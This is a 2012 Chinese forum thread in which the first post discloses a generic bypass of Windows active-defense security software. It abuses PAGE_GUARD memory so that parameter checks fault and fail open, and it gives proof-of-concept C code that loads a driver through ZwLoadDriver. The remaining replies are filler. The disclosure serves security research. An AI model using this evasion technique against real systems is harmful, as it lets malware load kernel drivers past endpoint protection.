查看: 2364|回复: 25

主动防御类软件的通用实现漏洞

[复制链接]
发表于 2012-11-30 04:58:24 | 显示全部楼层 |阅读模式
主动防御类软件在实现上存在一个通用的漏洞,恶意软件可以借此绕过安全检查执行恶意行为

主防会拦截系统的一些关键操作,在这些监控点上做参数检查。因为参数往往来自用户态,所以参数检查的过程是在一个__try里面,防止访问违规造成crash。一般的模式类似如下:

bool bPass = true;

__try
{
    bPass = check_paramters(p1,p2,p3);  // p为参数   
}
__except(1)
{
    bPass = true;
}

return (bPass ? status_success : status_access_denied);

上面只是伪代码,意思是对参数进行检查,如果发现有恶意行为,那么返回拒绝,不允许执行。(实际远比这复杂,对参数会经过很多策略检查。结果也不是直接返回,有可能弹框由用户决策)。问题在于,如果访问参数的时候出现异常,那么后续的处理只好放过这个行为。问题就在这里,如果可以让主防访问参数出现异常,但是系统实际使用参数的时候却可以正常,那么主防的检查就被绕过了。这不是不可能,否则就不是漏洞!windows在内存管理上有个独特的地方,叫做PAGE_GUARD。对一段内存空间设置PAGE_GUARD属性后,对这部分内存的首次访问就会出现异常,后续访问则正常。所以,通过利用这个机制,加上对安全软件的检测和试验,上述的漏洞就可以很好的被利用了。
漏洞证明:
pStr = (PUNICODE_STRING)VirtualAlloc(NULL,PAGE_SIZE,MEM_COMMIT,PAGE_READWRITE);
if(!pStr)
{
_tprintf(_T("Alloc Str Failed\n"));
goto __Cleanup;
}
pStr->Length = (USHORT)(wcslen(SERVICE_PATH) * sizeof(WCHAR));
pStr->MaximumLength = pStr->Length + sizeof(WCHAR);
pStr->Buffer = (PWSTR)(pStr + 1);
wcscpy_s(pStr->Buffer,pStr->MaximumLength / sizeof(WCHAR),p);
//STATUS_SUCCESS
if(!VirtualProtect(pStr,PAGE_SIZE,PAGE_READWRITE | PAGE_GUARD,&dwOldProt))
{
_tprintf(_T("VirtualProtect Failed\n"));
goto __Cleanup;
}

if((status = ZwLoadDriver(pStr)) != 0)
{
_tprintf(_T("ZwLoadDriver Failed status = %x\n"),status);
goto __Cleanup;
}

_tprintf(_T("ZwLoadDriver Successfully\n"));


修复方案:

自己研究...

感谢 newtongao 和 garymao
[/td][/tr]
[/table]
发表于 2012-12-5 01:29:13 | 显示全部楼层
我又回复了  
发表于 2012-12-5 14:30:36 | 显示全部楼层
楼主也是培训师吗  
发表于 2014-10-26 07:13:20 | 显示全部楼层
不管你信不信,反正我信  
发表于 2014-11-5 14:15:10 | 显示全部楼层
貌似我真的很笨????哎  
发表于 2014-11-18 07:23:27 | 显示全部楼层
这个贴不错!!!!!  
发表于 2014-12-5 20:38:44 | 显示全部楼层
初来乍到,请多多关照。。。  
发表于 2014-12-29 03:30:30 | 显示全部楼层
加油啊!!!!顶哦!!!!!  
发表于 2015-1-29 00:05:11 | 显示全部楼层
回贴赚学识,不错了  
发表于 2015-3-2 23:51:45 | 显示全部楼层
一楼的位置好啊..  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则